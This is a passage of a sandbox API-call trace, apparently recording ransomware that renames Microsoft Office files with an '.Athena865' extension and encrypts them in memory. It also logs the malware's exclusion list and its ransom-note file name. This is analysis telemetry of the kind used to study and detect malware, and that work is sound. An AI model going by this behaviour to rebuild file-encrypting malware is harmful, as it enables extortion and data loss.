dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.250] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5430) returned 1 [0078.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.250] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.251] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.251] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.251] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1840, lpName=0x0) returned 0x17c [0078.253] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1840) returned 0x100000 [0078.253] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.254] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.254] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.255] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0078.255] CloseHandle (hObject=0x17c) returned 1 [0078.255] CloseHandle (hObject=0x154) returned 1 [0078.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.255] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636bfc00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xd79ccfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x636bfc00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0x1b968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0078.255] lstrcmpiW (lpString1="NAME.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.255] lstrcmpiW (lpString1="NAME.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.255] lstrcmpiW (lpString1="NAME.DLL", lpString2=".") returned 1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="..") returned 1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="windows") returned -1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="bootmgr") returned 1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="temp") returned -1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="pagefile.sys") returned -1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="boot") returned 1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="ids.txt") returned 1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="ntuser.dat") returned -1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="perflogs") returned -1 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2="MSBuild") returned 1 [0078.256] lstrlenW (lpString="NAME.DLL") returned 8 [0078.256] lstrcpyW (in: lpString1=0x241e89e, lpString2="NAME.DLL" | out: lpString1="NAME.DLL") returned="NAME.DLL" [0078.256] lstrlenW (lpString="NAME.DLL") returned 8 [0078.256] lstrlenW (lpString="Athena865") returned 9 [0078.256] lstrlenW (lpString=".dll") returned 4 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2=".dll") returned 1 [0078.256] lstrlenW (lpString=".lnk") returned 4 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2=".lnk") returned 1 [0078.256] lstrlenW (lpString=".ini") returned 4 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2=".ini") returned 1 [0078.256] lstrlenW (lpString=".sys") returned 4 [0078.256] lstrcmpiW (lpString1="NAME.DLL", lpString2=".sys") returned 1 [0078.256] lstrlenW (lpString="NAME.DLL") returned 8 [0078.256] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NAME.DLL.Athena865") returned 61 [0078.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAME.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\name.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAME.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\name.dll.athena865"), dwFlags=0x1) returned 1 [0078.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAME.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\name.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.257] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113000) returned 1 [0078.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.258] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.259] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.259] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.259] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bc70, lpName=0x0) returned 0x17c [0078.260] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bc70) returned 0x100000 [0078.264] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.265] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.265] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.266] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0078.267] CloseHandle (hObject=0x17c) returned 1 [0078.267] CloseHandle (hObject=0x154) returned 1 [0078.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.268] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".") returned 1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="..") returned 1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="windows") returned -1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="bootmgr") returned 1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="temp") returned -1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="pagefile.sys") returned -1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="boot") returned 1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="ids.txt") returned 1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="ntuser.dat") returned -1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="perflogs") returned -1 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="MSBuild") returned 1 [0078.268] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20 [0078.268] lstrcpyW (in: lpString1=0x241e89e, lpString2="NAMECONTROLPROXY.DLL" | out: lpString1="NAMECONTROLPROXY.DLL") returned="NAMECONTROLPROXY.DLL" [0078.268] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20 [0078.268] lstrlenW (lpString="Athena865") returned 9 [0078.268] lstrcmpiW (lpString1="PROXY.DLL", lpString2="Athena865") returned 1 [0078.268] lstrlenW (lpString=".dll") returned 4 [0078.268] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".dll") returned 1 [0078.269] lstrlenW (lpString=".lnk") returned 4 [0078.269] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".lnk") returned 1 [0078.269] lstrlenW (lpString=".ini") returned 4 [0078.269] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".ini") returned 1 [0078.269] lstrlenW (lpString=".sys") returned 4 [0078.269] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".sys") returned 1 [0078.269] lstrlenW (lpString="NAMECONTROLPROXY.DLL") returned 20 [0078.269] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL.Athena865") returned 73 [0078.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolproxy.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolproxy.dll.athena865"), dwFlags=0x1) returned 1 [0078.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLPROXY.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolproxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.270] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18304) returned 1 [0078.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.271] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.272] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.272] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.272] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a80, lpName=0x0) returned 0x17c [0078.273] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a80) returned 0x100000 [0078.274] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.275] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.275] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.276] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0078.276] CloseHandle (hObject=0x17c) returned 1 [0078.276] CloseHandle (hObject=0x154) returned 1 [0078.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.276] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="NAMECO~1.EXE")) returned 1 [0078.276] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.276] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.276] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2=".") returned 1 [0078.276] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="..") returned 1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="windows") returned -1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="bootmgr") returned 1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="temp") returned -1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="pagefile.sys") returned -1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="boot") returned 1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="ids.txt") returned 1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="ntuser.dat") returned -1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="perflogs") returned -1 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2="MSBuild") returned 1 [0078.277] lstrlenW (lpString="NAMECONTROLSERVER.EXE") returned 21 [0078.277] lstrcpyW (in: lpString1=0x241e89e, lpString2="NAMECONTROLSERVER.EXE" | out: lpString1="NAMECONTROLSERVER.EXE") returned="NAMECONTROLSERVER.EXE" [0078.277] lstrlenW (lpString="NAMECONTROLSERVER.EXE") returned 21 [0078.277] lstrlenW (lpString="Athena865") returned 9 [0078.277] lstrcmpiW (lpString1="ERVER.EXE", lpString2="Athena865") returned 1 [0078.277] lstrlenW (lpString=".dll") returned 4 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2=".dll") returned 1 [0078.277] lstrlenW (lpString=".lnk") returned 4 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2=".lnk") returned 1 [0078.277] lstrlenW (lpString=".ini") returned 4 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2=".ini") returned 1 [0078.277] lstrlenW (lpString=".sys") returned 4 [0078.277] lstrcmpiW (lpString1="NAMECONTROLSERVER.EXE", lpString2=".sys") returned 1 [0078.277] lstrlenW (lpString="NAMECONTROLSERVER.EXE") returned 21 [0078.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLSERVER.EXE.Athena865") returned 74 [0078.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolserver.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLSERVER.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolserver.exe.athena865"), dwFlags=0x1) returned 1 [0078.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMECONTROLSERVER.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\namecontrolserver.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.279] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=109440) returned 1 [0078.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.279] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.280] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.280] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.280] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ae80, lpName=0x0) returned 0x17c [0078.282] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ae80) returned 0x100000 [0078.286] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.286] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.286] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.287] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0078.288] CloseHandle (hObject=0x17c) returned 1 [0078.288] CloseHandle (hObject=0x154) returned 1 [0078.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.289] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948ed600, ftCreationTime.dwHighDateTime=0x1ca913a, ftLastAccessTime.dwLowDateTime=0xbdf30d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948ed600, ftLastWriteTime.dwHighDateTime=0x1ca913a, nFileSizeHigh=0x0, nFileSizeLow=0x26180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".") returned 1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="..") returned 1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="windows") returned -1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="bootmgr") returned 1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="temp") returned -1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="pagefile.sys") returned -1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="boot") returned 1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="ids.txt") returned 1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="ntuser.dat") returned -1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="perflogs") returned -1 [0078.289] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2="MSBuild") returned 1 [0078.289] lstrlenW (lpString="NAMEEXT.DLL") returned 11 [0078.289] lstrcpyW (in: lpString1=0x241e89e, lpString2="NAMEEXT.DLL" | out: lpString1="NAMEEXT.DLL") returned="NAMEEXT.DLL" [0078.290] lstrlenW (lpString="NAMEEXT.DLL") returned 11 [0078.290] lstrlenW (lpString="Athena865") returned 9 [0078.290] lstrcmpiW (lpString1="MEEXT.DLL", lpString2="Athena865") returned 1 [0078.290] lstrlenW (lpString=".dll") returned 4 [0078.290] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".dll") returned 1 [0078.290] lstrlenW (lpString=".lnk") returned 4 [0078.290] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".lnk") returned 1 [0078.290] lstrlenW (lpString=".ini") returned 4 [0078.290] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".ini") returned 1 [0078.290] lstrlenW (lpString=".sys") returned 4 [0078.290] lstrcmpiW (lpString1="NAMEEXT.DLL", lpString2=".sys") returned 1 [0078.290] lstrlenW (lpString="NAMEEXT.DLL") returned 11 [0078.290] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NAMEEXT.DLL.Athena865") returned 64 [0078.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMEEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nameext.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMEEXT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nameext.dll.athena865"), dwFlags=0x1) returned 1 [0078.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NAMEEXT.DLL.Athena865" (normalized: "c:\\program 